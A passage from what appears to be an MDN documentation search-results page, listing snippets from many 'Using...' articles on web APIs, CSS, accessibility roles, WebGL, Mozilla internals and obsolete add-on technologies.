...te | pr_rdwr , 00660); if (!outfile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for writing.\n", outfilename); return secfailure; } rv = macinit(ctxmac); if (rv != secsuccess) goto cleanup; ctxenc = decryptinit(ek, iv, ivlen, ckm_aes_cbc); filelength = filesize(encryptedfilename); while ((ctextlen = pr_read(infile, ctext, sizeof(ctext))) > 0) { count += ctextlen; /* decrypt cipher text buffer using cbc and iv */ rv = decrypt(ctxenc, decbuf, &decbuflen, sizeof(decbuf), ctext, ctextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "decrypt failure\n"); goto cleanup; } if (decbuflen == 0) break; rv = macupdate(ctxmac, decbuf, decbuflen); if (rv != secsuccess) { goto cleanup; } if (count == filelength) { decbuflen = decbuflen-paddinglength; } /* write the plain text to out file */ temp = pr_w...
...And 2 more matches
Using nsIDirectoryService
you can directly add a new nsifile with any property string using the nsiproperties interface: components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .set("myfilename", file); now, if your cost is too high to set all of these properties at once, you can register to be a callback that can provide an nsifile.
...in the past, this was done using nsifilelocator.
...in order to change these locations using nsifilelocator and still be able to use the same components directory as an existing mozilla installation, you had to make a component with the same id as nsifilelocator and then, after auto-registering components, manually register your own and replace the existing one -- all in all, a big pain.
...And 2 more matches
Using the Mozilla source server
using the mozilla source server is now even more feature-packed.
... set up symbols follow the instructions for using the mozilla symbol server.
... using the source server in windbg in the windbg command line, type .srcfix and hit enter.
...And 2 more matches
Using js-ctypes
after you're done when you're finished using a library, you should close it by calling the library object's close() method: lib.close(); if you fail to close the library, it will be automatically closed when it is garbage collected.
... using the library you may need to declare new types.
... the last thing we do is call lib.close() to close the library when we're done using it.
...And 2 more matches
Using channel messaging - Web APIs
in this article we'll explore the basics of using this technology.
...such things are not so easy using conventional web technology, because of the security models the web uses.
... we'll be focusing on the latter example in this article.
...And 2 more matches
Using server-sent events - Web APIs
when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100).
... sending events from the server the server-side script that sends events needs to respond using the mime type text/event-stream.
... the php code for the example we're using here follows: date_default_timezone_set("america/new_york"); header("cache-control: no-cache"); header("content-type: text/event-stream"); $counter = rand(1, 10); while (true) { // every second, send a "ping" event.
...And 2 more matches
Using the Web Animations API - Web APIs
representing keyframes the first thing we need is to create a keyframe object corresponding to our css @keyframes block: var alicetumbling = [ { transform: 'rotate(0) translate3d(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.3}, { transform: 'rotate(360deg) translate3d(-50%, -50%, 0)', color: '#000' } ]; here we’re using an array containing multiple objects.
...let’s take a look at pausing and playing animations in the growing/shrinking alice game (check out the full code on codepen): in this game, alice has an animation that causes her to go from small to big which we control via a bottle and a cupcake.
... pausing and playing animations we’ll talk more about alice’s animation later, but for now, let’s look closer at the cupcake’s animation: var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); the element.animate() method will immediately run after it is called.
...And 2 more matches
Using the aria-labelledby attribute - Accessibility
to improve compatibility with user agents that do not support aria, you can use aria-labelledby with the <label> element (using the for attribute).
...</div> example 3: radio groups in the example below, the container of a radiogroup is associated with its label using the aria-labelledby attribute: <div id="radio_label">my radio label</div> <ul role="radiogroup" aria-labelledby="radio_label"> <li role="radio">item #1</li> <li role="radio">item #2</li> <li role="radio">item #3</li> </ul> example 4: dialog label in the example below, the header element that labels the dialog is referred to by the aria-labelledby attribute: <div role="dialog" ari...
...dialog contents </div> example 5: inline definition in the example below, the definition of a term that is described in the natural flow of the narrative is associated with the term itself using the aria-labelledby attribute: <p>the doctor explained it had been a <dfn id="placebo">placebo</dfn>, or <span role="definition" aria-labelledby="placebo"> an inert preparation prescribed more for the mental relief of the patient than for its actual effect on a disorder.</span> </p> example 6: definition lists in the example below, the definitions in a formal definition list are associated with the terms they define using the aria-labelledby attribute: <dl> <dt id="anathema">anathema</dt> <dd role="definiti...
...And 2 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
they are set using custom property notation (e.g., --main-color: black;) and are accessed using the var() function (e.g., color: var(--main-color);).
... basic usage declaring a custom property is done using a custom property name that begins with a double hyphen (--), and a property value that can be any valid css value.
...by declaring a custom property on the :root pseudo-class and using it where needed throughout the document, a css author can reduce the need for repetition: :root { --main-bg-color: brown; } .one { color: white; background-color: var(--main-bg-color); margin: 10px; width: 50px; height: 50px; display: inline-block; } .two { color: white; background-color: black; margin: 10px; width: 150px; height: 70px; display: inline-block; } .thr...
...And 2 more matches
Using HTTP cookies - HTTP
WebHTTPCookies
ple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all previously stored cookies to the server using the cookie header.
...if a cookie is needed to be sent cross-origin, opt out of the samesite restriction by using the none directive.
... javascript access using document.cookie new cookies can be created via javascript using the document.cookie property, and existing cookies can be accessed from javascript as well, if the httponly flag is not set.
...And 2 more matches
Using Feature Policy - HTTP
writing a policy a policy is described using a set of individual policy directives.
... feature-policy: <feature name> <allowlist of origin(s)> for example, to block all content from using the geolocation api across your site: feature-policy: geolocation 'none' several features can be controlled at the same time by sending the http header with a semicolon-separated list of policy directives, or by sending a separate header for each policy.
... for example, this blocks the <iframe> from using the camera and microphone: <iframe allow="camera 'none'; microphone 'none'"> inheritance of policy for embedded content scripts inherit the policy of their browsing context, regardless of their origin.
...And 2 more matches
Using XML Data Islands in Mozilla - Archive of obsolete content
internet explorer had an "xml data islands" feature that allows web authors include xml data inline in html documents using the <xml> tag.
...mple.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> the xml source text can then be retrieved like this: var ordersource = document.getelementbyid("purchase-order").textcontent; the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie.
...the price of the first line item is " + firstprice + "."; } </script> </head> <body onload="rundemo()";> demo did not run </body> </html> the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie.
... here is another possible way, using the <object> tag.
Using microformats - Archive of obsolete content
loading the microformats api the microformats object is created using the new javascript script loader added to firefox 3.
... to use the api, you need to first load the object: components.utils.import("resource://gre/modules/microformats.js"); once you've loaded the microformats api, you can manage microformats using the methods listed here; for information about parsing microformats, see parsing microformats in javascript.
... geo represents a geographical location using latitude and longitude.
... note: you can simply call debug() on a microformat object: microformatobject.debug() instead of using this method if you prefer.
Using your new knowledge - Learn web development
previous overview: first steps with the things you have learned in the last few lessons you should find that you can format simple text documents using css, to add your own style to them.
... working with css the following live example shows a biography, which has been styled using css.
... make the level one heading pink, using the css color keyword hotpink.
... getting started with css how css is structured how css works using your new knowledge ...
Using Vue computed properties - Learn web development
previous overview: client-side javascript frameworks next in this article we'll add a counter that displays the number of completed todo items, using a feature of vue called computed properties.
... using computed properties the aim here is to add a summary count of our to-do list.
... since we're not relying on a button press to trigger the change, we can attach a @change event handler to each checkbox instead of using v-model.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Using RAII classes in Mozilla
ensuring raii classes are not used as temporaries a common mistake when using raii classes is to accidentally forget to name object, which causes its scope to be different from what is intended.
... static analysis static analysis passes are run on our testing infrastructure using our clang plugin, you can also run them locally marking a raii class for the static analysis is very simple, and performing this marking causes the static analysis to produce a build-time error whenever a raii class is allocated as a temporary, on the heap, or in static storage.
... in the common case, using these macros involves these three additions to a class: class moz_raii nsautoscriptblocker { public: explicit nsautoscriptblocker(jscontext *cx moz_guard_object_notifier_param) { // note: no ',' before macro moz_guard_object_notifier_init; nscontentutils::addscriptblocker(cx); } ~nsautoscriptblocker() { nscontentutils::removescriptblocker(); } private: moz_decl_use_guard_ob...
...in particular, a class derived from a class using these macros does not use moz_guard_object_notifier_init or moz_decl_use_guard_object_notifier, but instead uses either moz_guard_object_notifier_param_to_parent or moz_guard_object_notifier_only_param_to_parent: nsspecialautoscriptblocker::nsspecialautoscriptblocker(moz_guard_object_notifier_param_in_impl) : nsautoscriptblocker(moz_guard_object_notifier_only_param_to_parent) { } note that a...
How to build a binary XPCOM component using Visual Studio
this is a simple tutorial for building xpcom objects in c++ using visual studio.
...on windows, the sdk is built using a microsoft compiler, so you need to use one too.
...your xpcom component is made up of 3 parts: component interface described using idl.
... component implementation using c++.
Using the Multiple Accounts API
to create accounts using the api, you should do the following: create a fresh identity with createidentity(); assign values to the various identity properties as necessary.
...the current plans prevent sharing of information between accounts using the ui.
... smtp servers are stored in your preferences in a manner resembling the accounts: user_pref("mail.smtpservers", "server1,server2"); user_pref("mail.smtpserver.server1.hostname", "smtp.myisp.com"); user_pref("mail.smtpserver.server2.hostname", "smtp.mywork.com"); you can add new smtp servers using the smtp service.
...ags on biff (true) or just alert user that there is new mail (false) preference: mail.server.server.directory - local platform-specific path to store messages and folder indexes preference: mail.server.server.name - user-visible name of server the following are specific to imap: preference: mail.server.server.admin_url - administration url for server preference: mail.server.server.using_subscription - boolean, should we use subscriptions?
Using the Mozilla symbol server
using the symbol server in microsoft visual c++ using the symbol server in windbg the windbg symbol path is configured with a string value delimited with asterisk characters.
... to use only the mozilla symbol server, add the following entry to your symbol path (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://symbols.mozilla.org/ set this string as _nt_symbol_path in the environment, using the windbg menus, or by typing the .sympath command.
... if you would like to get symbols from microsoft's symbol server as well, you should list that first (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://msdl.microsoft.com/download/symbols;srv*c:\symcache\*https://symbols.mozilla.org/ downloading symbols using symchk.exe you can also download the symbols using symchk.exe, part of microsoft's debugging tools for windows.
...even using the command line with symchk.exe to download symbols will fail.
Using Objective-C from js-ctypes
this message can be sent using the objc_msgsend function, and its variants, which are declared in /usr/include/objc/message.h.
... typedef struct objc_object *id; in this example, we send an alloc message without any arguments using the following code.
... let objc_msgsend = lib.declare("objc_msgsend", ctypes.default_abi, id, id, sel, "..."); let objc_msgsend_bool = lib.declare("objc_msgsend", ctypes.default_abi, bool, id, sel, "..."); other functions can be declared fluently, using id instead of class as the return type of objc_getclass.
... * blocks are regular objective-c objects in obj-c, and can be sent messages; * thus block instances need are creted using the core.wrapid() function.
Using the CSS Typed Object Model - Web APIs
<p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add javascript to grab our unstyled link and return back a definition list of all the default css property values impacting the link using computedstylemap().
...; cssvalue.appendchild(document.createtextnode( propval )); row.appendchild( cssvalue ); // and the type of unit const cssunit = document.createelement( 'td' ); cssunit.appendchild( document.createtextnode( allcomputedstyles.get( ofinterest[i] ).unit )); row.appendchild( cssunit ); //add the row to the table stylestable.appendchild( row ); } for those of you using a non-supporting browser, the above output should looks something like this: property value unit padding-top 0 px margin-bottom 16 px font-size 16 px font-stretch 100 percent animation-duration 0 s animation-iteration-count 1 number width auto undefined height a...
... to get a unit and value, we need a cssunitvalue, which we can retrieve using the cssstylevalue.parse() method on the cssunparsedvalue.
... see also using the css painting api ...
Using the Gamepad API - Web APIs
performing such checks tends to involve using the gamepad object in conjunction with an animation loop (e.g., requestanimationframe), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.
... using button information let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad.
...when one is connected, we grab the gamepad using navigator.getgamepads()[0], print information about the gamepad into our gamepad info div, and fire the gameloop() function that starts the whole ball movement process up.
...we have done this below using window.setinterval(); once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using window.clearinterval().
Using the Permissions API - Web APIs
this article provides a basic guide to using the w3c permissions api, which provides a programmatic way to query the status of api permissions attributed to the current context.
...this starts off by querying the permission status using permissions.query().
... revoking permissions starting in firefox 47, you can now revoke existing permissions, using the permissions.revoke() method.
...if we choose to never share our location from the permission prompt (deny permission), then we can't get back to the permission prompt without using the browser menu options: firefox: tools > page info > permissions > access your location.
Using Touch Events - Web APIs
however, devices with touch screens (especially portable devices) are mainstream and web applications can either directly process touch-based input by using touch events or the application can use interpreted mouse events for the application input.
... a disadvantage to using mouse events is that they do not support concurrent user input, whereas touch events support multiple simultaneous inputs (possibly at different locations on the touch surface), thus enhancing user experiences.
... basic steps this section contains a basic usage of using the above interfaces.
... // touchmove handler function process_touchmove(ev) { // set call preventdefault() ev.preventdefault(); } best practices here are some best practices to consider when using touch events: minimize the amount of work that is done in the touch handlers.
Using shaders to apply color in WebGL - Web APIs
applying color to the vertices in webgl objects are built using sets of vertices, each of which has a position and a color.
... by default, all other pixels' colors (and all its other attributes, including position) are computed using interpolation, automatically creating smooth gradients.
... const vssource = ` attribute vec4 avertexposition; attribute vec4 avertexcolor; uniform mat4 umodelviewmatrix; uniform mat4 uprojectionmatrix; varying lowp vec4 vcolor; void main(void) { gl_position = uprojectionmatrix * umodelviewmatrix * avertexposition; vcolor = avertexcolor; } `; the key difference here is that for each vertex, we pass its color using a varying to the fragment shader.
... drawing using the colors next, it's necessary to add code to look up the attribute location for the colors and setup that attribute for the shader program: const programinfo = { program: shaderprogram, attriblocations: { vertexposition: gl.getattriblocation(shaderprogram, 'avertexposition'), vertexcolor: gl.getattriblocation(shaderprogram, 'avertexcolor'), }, ...
Using textures in WebGL - Web APIs
in our case, we'll be using a single texture, mapped onto all six sides of our rotating cube, but the same technique can be used for any number of textures.
...it then uploads a single blue pixel using teximage2d().
...at that point we again call teximage2d() this time using the image as the source for the texture.
...this means that using a cross-domain image with cors approval does no longer taint the 2d canvas, so the 2d canvas remains usable as the source of a webgl texture.
Using DTMF with WebRTC - Web APIs
note, however, that although it's possible to send dtmf using webrtc, there is currently no way to detect or receive incoming dtmf.
...when the button is clicked, a dtmf string is sent over the connection using rtcdtmfsender.insertdtmf().
...if addtrack() is available on the rtcpeerconnection, we add each of the stream's audio tracks, one by one, to the connection using rtcpeerconnection.addtrack().
...we aren't using these for anything, so all we do is log them.
Using the Web Storage API - Web APIs
these three lines all set the (same) colorsetting entry: localstorage.colorsetting = '#a4509b'; localstorage['colorsetting'] = '#a4509b'; localstorage.setitem('colorsetting', '#a4509b'); note: it's recommended to use the web storage api (setitem, getitem, removeitem, key, length) to prevent the pitfalls associated with using plain objects as key-value stores.
... note: as well as viewing the example pages live using the above links, you can also check out the source code.
... getting values from storage as noted above, values can be retrieved from storage using storage.getitem().
...this won't work on the same page that is making the changes — it is really a way for other pages on the domain using the storage to sync any changes that are made.
Using the alertdialog role - Accessibility
this means that most of the instructions provided in the 'using the dialog role' technique are applicable to the alertdialog role as well: the alert dialog must always be given an accessible name (through aria-labelledby or aria-label) , and in most cases the alert text will have to be marked up as the alert dialog's accessible description (using aria-describedby).
...the alert role should be used instead in that case (as the described in the using the alert role technique).
... fire an accessible alert event using the operating system's accessibility api if it supports it.
..."dialog1title" aria-describedby="dialog1desc"> <div role="document" tabindex="0"> <h2 id="dialog1title">your login session is about to expire</h2> <p id="dialog1desc">to extend your session, click the ok button</p> <button>ok</button> </div> </div> working examples: tbd notes aria attributes used alertdialog aria-labelledby aria-describedby related aria techniques using the dialog role using the alert role compatibility tbd: add support information for common ua and at product combinations additional resources ...
Using the group role - Accessibility
fire an accessible group event using the operating system's accessibility api if it supports it.
... examples example 1: using the group role with a html tree view the snippet below shows how the group role is added directly into the html source code.
... role="presentation" tabindex="-1" src="images/treecontracted.gif" /> <span role="treeitem" tabindex="0">cats</span> </div> <div id="catgroup" role="group"> <div id="siamese" role="treeitem"> <span tabindex="-1">siamese</span> </div> <div id="tabby" role="treeitem"> <span tabindex="-1">tabby</span> </div> </div> </div> </div> example 2: using the group role with a html drop-down menu the snippet below shows how the group role is added directly into the html source code.
...le="menuitem">inbox</li> <li role="menuitem">archive</li> <li role="menuitem">trash</li> </ul> <ul role="group"> <li role="menuitem">custom folder 1</li> <li role="menuitem">custom folder 2</li> <li role="menuitem">custom folder 3</li> </ul> <ul role="group"> <li role="menuitem">new folder</li> </ul> </div> working examples: file directory treeview example using computed properties navigation treeview example using declared properties notes group members that are outside of the dom subtree of the group need to have explicit relationships assigned to them in order to participate in the group.
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
if you’re using a screen reader, have you noticed that, when you go to this setting in firefox, it tells you “delete history after 21 days”?, followed by the announcement that you’re in a textbox, and that it contains the number 21.
...: shut down computer after minutes <input aria-labelledby="labelshutdown shutdowntime shutdownunit" type="checkbox" /> <span id="labelshutdown">shut down computer after</span> <input aria-labelledby="labelshutdown shutdowntime shutdownunit" id="shutdowntime" type="text" value="10" /> <span id="shutdownunit"> minutes</span> a note for jaws 8 users jaws 8.0 has its own logic to find labels, causing it to always override the accessiblename the textbox of an html document gets.
... community member ben millard has pointed out in a blog post that controls can be embedded in labels as shown in the above example using html 4, simply by embedding the input into the label.
...for labels with embedded form controls, using aria-labelledby is still the best approach.
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
transforming the document you can use the xsltprocessor.transformtodocument() or xsltprocessor.transformtofragment() methods to transform a document using the imported xslt stylesheet.
... transforming html unfortunately it is currently not supported to transform html nodes using xslt.
... setting parameters you can control parameters for the stylesheet using the xsltprocessor.setparameter(), xsltprocessor.getparameter(), and xsltprocessor.removeparameter() methods.
... resources the following reflect the interface of the xsltprocessor object: nsixsltprocessor.idl xsltprocessor.webidl using xsltprocessor from xpcom components instantiating an xsltprocessor from an xpcom component requires a different syntax as the constructor is not defined inside components.
Using Dependent Libraries In Extension Components - Archive of obsolete content
the firefox extension system does not provide automatic support for loading these dependent libraries, but it is possible to load these libraries explicitly using a component stub.
...sample code is below, and can be built by placing the two files in extensions/stub and configuring with --enable-extensions=stub extension file structure using the stub slightly changes how components are packaged in the extension directory structure.
...os x code was built using the 10.4 universal sdk.
Using Dehydra - Archive of obsolete content
example: printing the location of type declarations save the following c++ code dumptypes.cc: typedef int myint; struct foo { int i; char *c; }; save the following analysis script dumptypes.js: function process_type(t) { print("type found: " + t.name + " location: " + t.loc); } function input_end() { print("hello, world!"); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/dumptypes.js -o/dev/null -c dumptypes.cc note:for g++4.5 and up use -fplugin-arg-gcc_dehydra-script= rather than -fplugin-arg it should print the following results: type found: foo location: test.cc:2:12 type found: myint location: test.cc:1:13 hello, world!
... see documentation for: process_type, input_end, print, .loc property example: using attributes to mark a class as "final" save the following code as final.cc: // this class should not be subclassed!
... */ function isfinal(c) { if (!c.attributes) return false; for each (let a in c.attributes) if (a.name == 'user' && a.value == 'final') return true; return false; } function process_type(t) { if (t.bases) for each (let base in t.bases) if (isfinal(base.type)) error("class " + t.name + " extends final class " + base.type.name, t.loc); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/final.js -o/dev/null -c final.cc it should print the following results and return with an error code: final.cc:8: error: class subclass extends final class myclass see documentation for: process_type, error, .bases property, .attributes property ...
Using Breakpoints in Venkman - Archive of obsolete content
using breakpoints to debug when you set a breakpoint, you give venkman (or whatever debugger you're using) the opportunity to display information about the execution environment.
... using breakpoints and the interactive view, you can change the values of the variables that venkman displays (only in the context of the debugging environment itself) and see how these changes affect the execution of the code.
... meta comments you can also embed scripted breakpoints directly into the source code you are debugging by using a venkman facility called meta comments.
Using Visual Studio as your XUL IDE - Archive of obsolete content
using xml schemas for validation and intellisense visual studio needs the xml schema for xul files.
...5.1 localization using dtd you will get validation errors in visual studio, if you are localizing your xul files.
...5.3 javascript related you will get validation errors for javascript code whenever using the keywords "const" and "let".
Using nsIXULAppInfo - Archive of obsolete content
this is not useful for scripts on webpages, which should continue using the navigator object when it's not possible to rely on feature-detection.
...the following sections provide a few examples of using nsixulappinfo from javascript.
... id you can tell which application you're running under using the nsixulappinfo.id property.
2D breakout game using Phaser - Game development
next » in this step-by-step tutorial, we create a simple mobile mdn breakout game written in javascript, using the phaser framework.
...you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states.
...if you are not already familiar with pure javascript game development, we would suggest that you first work through this series' counterpart, 2d breakout game using pure javascript.
Learn to style HTML using CSS - Learn web development
before starting this topic, you should also be familiar with using computers and using the web passively (i.e., just looking at it, consuming the content).
...this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
... css building blocks this module carries on where css first steps left off — now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper.
Using the Places history service
using the referrer information in each visit, the browsing path can be reconstructed at any time.
... nsiglobalhistory3.getgeckoflags: retrieves information previously set using setgeckoflags.
... see also manipulating bookmarks using places ...
Using the Places livemark service
initiating the livemark service before using the livemark service, you need to obtain an instance: var livemarkservice = components.classes["@mozilla.org/browser/livemark-service;2"] .getservice(components.interfaces.nsilivemarkservice); creating a new livemark the nsilivemarkservice.createlivemark() method creates a new livemark.
...you can convert a string into an nsiuri using nsiioservice.
...the expiration time for a livemark is determined by using information provided by the server when the feed was requested, specifically nsicacheentryinfo.expirationtime.
Making cross-thread calls using runnables
typically, thread activities are triggered and managed using an xpcom event-passing framework that uses the nsirunnable interface.
...llback callback, int digits) : mcallback(callback) , mdigits(digits) { } ns_imethod run() { nscstring result; calculatepi(mdigits, result); nscomptr<nsirunnable> resultrunnable = new piresulttask(mcallback, result); ns_dispatchtomainthread(resultrunnable); } private: picallback mcallback; int mdigits; }; putting it all together to start a new thread, create it using the thread manager: #include "nsxpcomcidinternal.h" void calculatepiasynchronously(int digits, picallback callback) { // to create a new thread, get the thread manager nscomptr<nsithreadmanager> tm = do_getservice(ns_threadmanager_contractid); nscomptr<nsithread> mythread; nsresult rv = tm->newthread(0, 0, getter_addrefs(mythread)); if (ns_failed(rv)) { // in case of failure, call ...
...} see also chromeworker using workers in javascript code modules the thread manager ...
Using dynamic styling information - Web APIs
to modify styles to a document using css syntax, one can insert rules or insert <style> tags whose innerhtml property is set to the desired css.
...however, this property only returns style attributes that have been set in-line (e.g, <td style="background-color: lightblue"> returns the string "background-color:lightblue", or directly for that element using element.style.propertyname, even though there may be other styles on the element from a stylesheet).
... using the setattribute method note that you can also change style of an element by getting a reference to it and then use its setattribute method to specify the css property and its value.
Using the CSS properties and values API - Web APIs
css.registerproperty the following will register a css custom properties, --my-prop, using css.registerproperty, as a color, give it a default value, and have it not inherit its value: window.css.registerproperty({ name: '--my-prop', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); @property the same registration can take place in css.
... the following will register a css custom properties, --my-prop, using @property, as a color, give it a default value, and have it not inherit its value: @property --my-prop { syntax: '<color>'; inherits: false; initial-value: #c0ffee; } using registered custom properties one of the advantages of registering a property is that the browser now knows how it should handle your custom property through things like transitions!
... in this example, the custom property --registered has been registered using the syntax <color> and then used in a linear gradient.
Using the Geolocation API - Web APIs
the geolocation api is used to retrieve the user's location, so that it can for example be used to display their position using a mapping api.
...this is done using the watchposition() function, which has the same input parameters as getcurrentposition().
... look like: function success(position) { dosomething(position.coords.latitude, position.coords.longitude); } function error() { alert('sorry, no position available.'); } const options = { enablehighaccuracy: true, maximumage: 30000, timeout: 27000 }; const watchid = navigator.geolocation.watchposition(success, error, options); describing a position the user's location is described using a geolocationposition object instance, which itself contains a geolocationcoordinates object instance.
Using writable streams - Web APIs
note: if you are looking for information about readable streams, try using readable streams instead.
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } so here we create a writer to write the chunks to the stream using writablestream.getwriter().
... we also create a new textencoder instance using the relevant constructor to encode the message into chunks to be put into the stream.
Creating 3D objects using WebGL - Web APIs
to do this efficiently, we're going to switch from drawing using the vertices directly by calling the gl.drawarrays() method to using the vertex array as a table, and referencing individual vertices in that table to define the positions of each face's vertices, by calling gl.drawelements().
... const indexbuffer = gl.createbuffer(); gl.bindbuffer(gl.element_array_buffer, indexbuffer); // this array defines each face as two triangles, using the // indices into the vertex array to specify each triangle's // position.
... drawing the cube next we need to add code to our drawscene() function to draw using the cube's index buffer, adding new gl.bindbuffer() and gl.drawelements() calls: // tell webgl which indices to use to index the vertices gl.bindbuffer(gl.element_array_buffer, buffers.indices); ...
Using IIR filters - Web APIs
when you are using an iirfilternode instead of a biquadfilternode you are creating the filter yourself, rather than just choosing a pre-programmed type.
... using an iirfilter in an audio graph let's create our context and our filter node: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = audioctx.createiirfilter(feedforward, feedback); we need a sound source to play.
... we set this up using a custom function, playsoundnode(), which creates a buffer source from an existing audiobuffer, attaches it to the default destination, starts it playing, and returns it: function playsourcenode(audiocontext, audiobuffer) { const soundsource = audiocontext.createbuffersource(); soundsource.buffer = audiobuffer; soundsource.connect(audiocontext.destination); soundsource.start(); return soundsource; } this function is called when the play button is pressed.
Using multi-column layouts - CSS: Cascading Style Sheets
unfortunately this is impossible to do with css and html without forcing column breaks at fixed positions, or severely restricting the markup allowed in the text, or using heroic scripting.
... using columns column count and width two css properties control whether and how many columns will appear: column-count and column-width.
... </p> </div> css #col { column-count: 2; } result will display the content in two columns (if you're using a multi-column compliant browser): the column-width property sets the minimum desired column width.
Using CSS counters - CSS: Cascading Style Sheets
using counters manipulating a counter's value to use a css counter, it must first be initialized to a value with the counter-reset property (0 by default).
... displaying a counter the value of a counter can be displayed using either the counter() or counters() function in a content property.
...using the counters() function, separating text can be inserted between different levels of nested counters.
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
the javascript warning "using //@ to indicate sourceurl pragmas is deprecated.
... message warning: syntaxerror: using //@ to indicate sourceurl pragmas is deprecated.
... use //# instead warning: syntaxerror: using //@ to indicate sourcemappingurl pragmas is deprecated.
Communicating using "port" - Archive of obsolete content
here's a simple add-on that sends a message to a content script using port: var tabs = require("sdk/tabs"); var alertcontentscript = "self.port.on('alert', function(message) {" + " window.alert(message);" + "})"; tabs.on("ready", function(tab) { worker = tab.attach({ contentscript: alertcontentscript }); worker.port.emit("alert", "message from the add-on"); }); tabs.open("http://www.mozilla.org"); i...
... the main add-on code: var mymessagepayload = "some data"; self.port.emit("mymessage", mymessagepayload); from the main add-on code (in this case a panel instance) to the content script: var mymessagepayload = "some data"; panel.port.emit("mymessage", mymessagepayload); port.on() the port.on() function registers a function as a listener for a specific named message sent from the other side using port.emit().
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
try to avoid using it.
...once the java application is done using mozilla, it needs to terminate the embedding process: try { mozilla.termembedding(); } catch (xpcomexception e) { // this exception is thrown if termembedding failed } working with xpcom objects now that mozilla is embedded, the java application can work with xpcom objects.
Using cross commit - Archive of obsolete content
using the script quick overview there are a couple of common ways to use cross-commit: land something simultaneously on the trunk and mozilla_1_8_branch # modify the files (probably by applying the patch) patch -p0 < ~/caret.patch # commit on trunk and branch at once # make sure to use -m "commit message" when doing so tools/cross-commit -m "fix some sort of security bug" layout/base/nscaret.
...(although it works without specifying -m on the command line if you are using x-enabled emacs on linux.) also note that if you don't specify any branches to commit on, cross-commit will commit to the trunk and the mozilla_1_8_branch by default.
Using Recursive Templates - Archive of obsolete content
for example, using this xml datasource: <people> <group name="male"> <person name="napoleon bonaparte"/> <person name="julius caesar"/> <person name="ferdinand magellan"/> </group> <group name="female"> <person name="cleopatra"/> <person name="laura secord"/> </group> </people> we could display this data in a flat list by using the right query: <query expr="group/person/"> or, we could display one level for the two groups, and use another level...
...the same query is executed again but using the groups generated from the previous execution of the query.
Using the Editor from XUL - Archive of obsolete content
the user chooses 'close' from the file menu, uses the key shortcut, or quits the application, causing all windows to be closed.
... in composer, we are using nshtmleditrules, so we end up in nshtmleditrules::willdoaction().
Using XForms and PHP - Archive of obsolete content
introduction a few tips on using xforms and php together.
...the same problem exists when using a single php/html file.
2D breakout game using pure JavaScript - Game development
you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states.
... note: if you are interested in learning about 2d web game development using a game library, consult this series' counterpart, 2d breakout game using phaser.
Using data attributes - Learn web development
using the css selectors and javascript access here this allows you to build some nifty effects without having to write your own display routines.
... see this screencast for an example using generated content and css transitions (jsbin example).
Using workers in JavaScript code modules
you can do so by using chromeworker instead of the standard worker object.
...try to avoid using it.
Using the viewport meta tag to control layout on mobile browsers
enter viewport meta tag however, this mechanism is not so good for pages that are optimized for narrow screens using media queries — if the virtual viewport is 980px for example, media queries that kick in at 640px or 480px or less will never be used, limiting the effectiveness of such responsive design techniques.
